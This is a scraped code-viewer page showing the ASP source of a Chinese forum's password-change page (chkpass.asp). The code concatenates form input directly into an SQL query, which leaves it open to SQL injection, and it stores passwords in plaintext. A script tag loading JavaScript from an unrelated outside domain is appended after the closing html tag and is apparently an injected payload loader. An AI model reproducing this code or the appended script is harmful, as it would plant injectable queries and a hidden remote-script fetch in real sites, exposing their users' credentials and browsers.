?? chkpass.asp
字號(hào):
<%response.buffer=true%>
<html>
<head>
<%const title="修改密碼"%>
<title><%=title%></title>
<link rel="stylesheet" type="text/css" href="forum.css">
</head>
<body topmargin=0 onload=this.document.input.old_pass.focus()>
<!--#include file=opendb.inc-->
<!--#include file=myprg.asp-->
<%showtitle(title)%>
<%getstorage(session("storage"))%>
<form method=post action=chkpass.asp name=input>
<table align=center border='0' height='40' cellspacing='1' cellpadding='1' bordercolordark='#FFFFFF' bordercolorlight='#DADBFC' bordercolor='#00000'>
<tr><td align=right>原密碼:</td><td><input class=smallinput type=password name=old_pass value=""></td></tr>
<tr><td align=right>新密碼:</td><td><input class=smallinput type=password name=new_pass value=""></td></tr>
<tr><td align=right>校驗(yàn)密碼:</td><td><input class=smallinput type=password name=confirm_pass value=""></td></tr>
<tr><td align=center colspan=2>
<br>
<input class=smallinput type=submit name=ok value= 確 定 >
<input class=smallinput type=reset name=reset value= 清 除 >
<input class=smallinput type=button name=retu onclick=history.go(-1) value=" 返 回 ">
</td></tr>
</table>
</form>
</body>
<!-- #include file=copyright.asp-->
</html>
<%
if Request.ServerVariables("REQUEST_METHOD")="POST" then
sql="select * from user where username='"&session("username")&"' and password='"&request.form("old_pass")&"'"
rs.open sql,conn,3,2
if not rs.eof then
if request.form("new_pass")=request.form("confirm_pass") then
rs("password")=request.form("new_pass")
rs.update
showsuccess "密碼修改成功!"
else
showerror "新密碼和檢驗(yàn)密碼不一致,請(qǐng)重新輸入!"
end if
else
showerror "原密碼錯(cuò)誤!"
end if
rs.close
end if
%>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>
?? 快捷鍵說(shuō)明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -